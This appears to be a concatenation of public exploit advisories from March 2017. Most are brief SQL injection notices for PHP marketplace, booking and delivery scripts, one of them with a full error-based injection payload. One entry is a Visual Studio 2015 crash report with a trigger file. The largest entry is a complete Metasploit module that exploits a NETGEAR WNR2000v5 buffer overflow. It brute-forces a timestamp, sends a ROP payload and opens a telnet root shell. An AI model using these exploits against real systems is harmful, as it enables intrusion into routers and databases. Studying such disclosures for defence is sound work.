# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/single-video.php?video_id=[SQL]
# http://localhost/[PATH]/search.php?page=[SQL]
# single-video.php?video_id=25404991'+And(SelecT+1+FroM+(SelecT+CoUnT(*),ConCAT((SelecT(SelecT+ConCAT(CAST(DatabasE()+As+ChAr),0x7e,0x496873616e2053656e63616e))+FroM+information_schema.tables+WhErE+table_schema=DatabasE()+LImIt+0,1),FLooR(RanD(0)*2))x+FroM+information_schema.tables+GrOuP+By+x)a)++and+'userip'='userip
# # # # #
            
# # # # #
# Exploit Title: Alibaba Clone Script - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://b2bbusinessdirectoryscript.com/alibaba-clone-script.html
# Demo: http://thealidemox.com
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajax.php?section=count_classified&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_tradeleade&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_product&pro_id=[SQL]
# Etc...
# # # # #
            
# # # # #
# Exploit Title: B2B Marketplace Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://eaglescripts.com/php-b2b-marketplace-script-v2
# Demo: http://demob2b.xyz/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajax.php?section=count_classified&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_tradeleade&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_product&pro_id=[SQL]
# Etc...
# # # # #
            
# # # # #
# Exploit Title: Delux Same Day Delivery Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/delux-same-day-delivery
# Demo: http://deluxesameday.logistic-softwares.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/show_page/[PAGE][SQL]
# Etc...
# # # # #
            
/*
# Exploit Title: Microsoft Visual Studio 2015 update 3 – Stack overflow
# Date: 2017-03-26
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15
# Version: Visual Studio 2015 update 3
# Tested on: Windows 7 Pro SP1 x64, Windows 10 Pro x64

 

Windbg output

 

Crash 1:

 

eax=1469f040 ebx=00000000 ecx=1469f040 edx=165f4634 esi=1469f040 edi=0036e2d8

eip=16610c9d esp=00279000 ebp=0027900c iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

 

VCProject!CVCNode::GetVCProject+0x49:

 

16610c9d ff523c          call    dword ptr [edx+3Ch]  ds:002b:165f4670={VCProject!CVCNode::GetVCProject (16610c64)}

 

 

0:000> !exchain

0036e2dc: VCProject!memcmp+86f5 (166956e8)

0036e30c: VCProject!memcmp+876b (166957b0)

0036e384: msenv!_aulldiv+476d1 (31e3d818)

0036e424: msenv!_aulldiv+1567e (31df2c66)

0036e478: msenv!_aulldiv+65abf (31e6a010)

0036e4c4: vcpkg!sqlite3_value_type+1f3a (3940ac50)

0036e530: msenv!_aulldiv+2b169 (31e135dc)

0036e578: msenv!_aulldiv+2bb07 (31e145ac)

0036e5cc: msenv!_aulldiv+2b1de (31e136ca)

 

0:000> k

# ChildEBP RetAddr 

00 0027900c 16610ca0 VCProject!CVCNode::GetVCProject+0x49

01 00279020 16610ca0 VCProject!CVCNode::GetVCProject+0x53

02 00279034 16610ca0 VCProject!CVCNode::GetVCProject+0x53

…

ff 00279034 16610ca0 VCProject!CVCNode::GetVCProject+0x53

 

 

 

Crash 2:

 

(10cc.1970): CLR exception - code e0434352 (first chance)

 

(10cc.1970): Stack overflow - code c00000fd (first chance)

 

eax=08675cf0 ebx=00000000 ecx=08675cf0 edx=39784634 esi=08675cf0 edi=0043e0f0

eip=397a0c68 esp=00349000 ebp=00349004 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

 

VCProject!CVCNode::GetVCProject+0x4:

397a0c68 57              push    edi

 

0:000> !exchain

0043e0f4: VCProject!memcmp+86f5 (398256e8)

0043e124: VCProject!memcmp+876b (398257b0)

0043e19c: msenv!_aulldiv+476d1 (51e1d818)

0043e23c: msenv!_aulldiv+1567e (51dd2c66)

0043e290: msenv!_aulldiv+65abf (51e4a010)

0043e2dc: vcpkg!sqlite3_value_type+1f3a (390bac50)

0043e348: msenv!_aulldiv+2b169 (51df35dc)

0043e390: msenv!_aulldiv+2bb07 (51df45ac)

0043e3e4: msenv!_aulldiv+2b1de (51df36ca)

 

15a0a150  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a151  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a152  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a153  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a154  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a155  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a156  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a157  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

 

 

Peter

 

crash.c
*/

// Exploit Title : Microsoft Visual Studio 2015 update 3 – Stack overflow
// Date : 2017 - 03 - 26
// Exploit Author : Peter Baris
// Vendor Homepage : http://www.saptech-erp.com.au
// Software Link : https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15
// Version : 2015 update 3
// Tested on : Windows 7 Pro SP1 x64, Windows 10 Pro x64

// 2017-03-05 Reported to Microsoft
// a few ignorant messages from microsoft, stating that this is not causing data loss
// I have sent explanation about ctrl-s key combination
// 2017-03-26 Publishing


// Procedure to trigger the vulnerability
// Open the c source file simply by double clicing it
// In the properties windows change "Included In Project" to False -> click back to your source code's window

#include <Windows.h>

int main()
{

	printf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAA");
}
            
# # # # #
# Exploit Title: Tour Package Booking v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: www.eaglescripts.com/tour-package-booking-script
# Demo: http://tourbooking.phpscriptsdemo.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/package/category/1[SQL]
# http://localhost/[PATH]/package_detail/1[SQL]
# Etc...
# # # # #
            
# # # # #
# Exploit Title: Hotel & Tour Package Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/hotel-booking-script
# Demo: http://hotelbooking.phpscriptsdemo.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?show=view_offer&offer_id=[SQL]
# http://localhost/[PATH]/view_news.php?news_id=[SQL]
# http://localhost/[PATH]/page.php?id=[SQL]
# http://localhost/[PATH]/?show=view_room&room_id=[SQL]
# admin:id
# admin:username
# admin:password
# booking:id
# booking:cat_name
# Etc...
# # # # #
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'time'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CRand

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
      'Description'    => %q{
        The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
        parameter.
        In order to exploit it, it is necessary to guess the value of a certain timestamp which
        is in the configuration of the router. An authenticated attacker can simply fetch this
        from a page, but an unauthenticated attacker has to brute force it.
        Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
        it is guaranteed that it can be bruteforced.
        This module implements both modes, and it works very reliably. It has been tested with
        the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
        revisions v4 and v3, but this has not been tested - with these routers it might be necessary
        to adjust the LibcBase variable as well as the gadget addresses.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'References'     =>
        [
          ['CVE', '2016-10174'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
          ['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
        ],
      'Targets'        =>
        [
          [ 'NETGEAR WNR2000v5',
            {
              'LibcBase'             => 0x2ab24000,         # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
              'SystemOffset'         => 0x547D0,
              'GadgetOffset'         => 0x2462C,
  #The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
  #LOAD:0002462C                 addiu   $a0, $sp, 0x40+arg_0
  #LOAD:00024630                 move    $t9, $s0
  #LOAD:00024634                 jalr    $t9
              'Payload'        =>
                {
                  'BadChars'         => "\x00\x25\x26",
                  'Compat'  => {
                    'PayloadType'    => 'cmd_interact',
                    'ConnectionType' => 'find',
                  },
                },
            }
          ],
        ],
      'Privileged'     => true,
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => 'Dec 20 2016',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
        OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
      ], self.class)
    register_advanced_options(
      [
        OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
        OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri'     => '/',
      'method'  => 'GET'
    })
    if res && res.headers['WWW-Authenticate']
      auth = res.headers['WWW-Authenticate']
      if auth =~ /WNR2000v5/
        return Exploit::CheckCode::Detected
      elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
        return Exploit::CheckCode::Unknown
      end
    end
    Exploit::CheckCode::Safe
  end

  def uri_encode (str)
    "%" + str.scan(/.{2}|.+/).join("%")
  end

  def calc_address (libc_base, offset)
    addr = (libc_base + offset).to_s(16)
    uri_encode(addr)
  end

  def get_current_time
    res = send_request_cgi({
      'uri'     => '/',
      'method'  => 'GET'
    })
    if res && res['Date']
      date = res['Date']
      return Time.parse(date).strftime('%s').to_i
    end
  end

  def get_auth_timestamp
    res = send_request_raw({
      'uri'     => '/lang_check.html',
      'method'  => 'GET',
      # automatically uses HttpPassword and HttpUsername to authenticate
    })
    if res && res.code == 401
      # try again, might fail the first time
      res = send_request_raw({
        'uri'     => '/lang_check.html',
        'method'  => 'GET',
      # automatically uses HttpPassword and HttpUsername to authenticate
      })
    end
    if res && res.code == 200
      if res.body =~ /timestamp=([0-9]{8})/
        $1.to_i
      end
    end
  end

  # Do some crazyness to force Ruby to cast to a single-precision float and
  # back to an integer.
  # This emulates the behaviour of the soft-fp library and the float cast
  # which is done at the end of Netgear's timestamp generator.
  def ieee754_round (number)
    [number].pack('f').unpack('f*')[0].to_i
  end


  # This is the actual algorithm used in the get_timestamp function in
  # the Netgear firmware.
  def get_timestamp(time)
    srandom_r time
    t0 = random_r
    t1 = 0x17dc65df;
    hi = (t0 * t1) >> 32;
    t2 = t0 >> 31;
    t3 = hi >> 23;
    t3 = t3 - t2;
    t4 = t3 * 0x55d4a80;
    t0 = t0 - t4;
    t0 = t0 + 0x989680;

    ieee754_round(t0)
  end

  def get_payload
    rand_text_alpha(36) +                                                                    # filler_1
      calc_address(target['LibcBase'], target['SystemOffset']) +                             # s0
      rand_text_alpha(12) +                                                                  # s1, s2 and s3
      calc_address(target['LibcBase'], target['GadgetOffset']) +                             # gadget
      rand_text_alpha(0x40) +                                                                # filler_2
      "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh"             # payload
  end

  def send_req(timestamp)
    begin
      uri_str = (timestamp == nil ? \
        "/apply_noauth.cgi?/lang_check.html" : \
        "/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
      res = send_request_raw({
          'uri'     => uri_str,
          'method'  => 'POST',
          'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
          'data'    => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
      })
    rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      return
    end
  end

  def exploit
    # 1: try to see if the default admin username and password are set
    timestamp = get_auth_timestamp

    # 2: now we try two things at once:
    # one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
    # two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
    print_status("#{peer} - Trying the easy way out first")
    send_req(timestamp)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end

    print_bad("#{peer} - Well that didn't work... let's do it the hard way.")

    # no shell? let's just go on and bruteforce the timestamp
    # 3: get the current date from the router and parse it
    end_time = get_current_time
    if end_time.nil?
      fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
    end
    if end_time <= datastore['TIME_OFFSET']
      start_time = 0
    else
      start_time = end_time - datastore['TIME_OFFSET']
    end
    end_time += datastore['TIME_SURPLUS']

    if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
      end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
    end

    print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
    print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")

    # 2: work back from the current router time minus datastore['TIME_OFFSET']
    while true
      for time in end_time.downto(start_time)
        timestamp = get_timestamp(time)
        sleep 0.1
        if time % 400 == 0
          print_status("#{peer} - Still working, trying time #{time}")
        end
        send_req(timestamp)
        begin
          ctx = { 'Msf' => framework, 'MsfExploit' => self }
          sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
          if sock.nil?
            next
          end
          print_status("#{peer} - Success, shell incoming!")
          return handler(sock)
        rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
          sock.close if sock
          next
        end
      end
      end_time = start_time
      start_time -= datastore['TIME_OFFSET']
      if start_time < 0
        if end_time <= datastore['TIME_OFFSET']
          fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
        end
        start_time = 0
      end
      print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")

      # let the router clear the buffers a bit...
      sleep 30
    end
  end
end
            
# # # # #
# Exploit Title: Parcel Delivery Booking Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/parcel-delivery-booking-script
# Demo: http://parceldelivery.phpscriptsdemo.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/add_booking_shipment_first_step/1/1/1/1[SQL]
# Etc...
# # # # #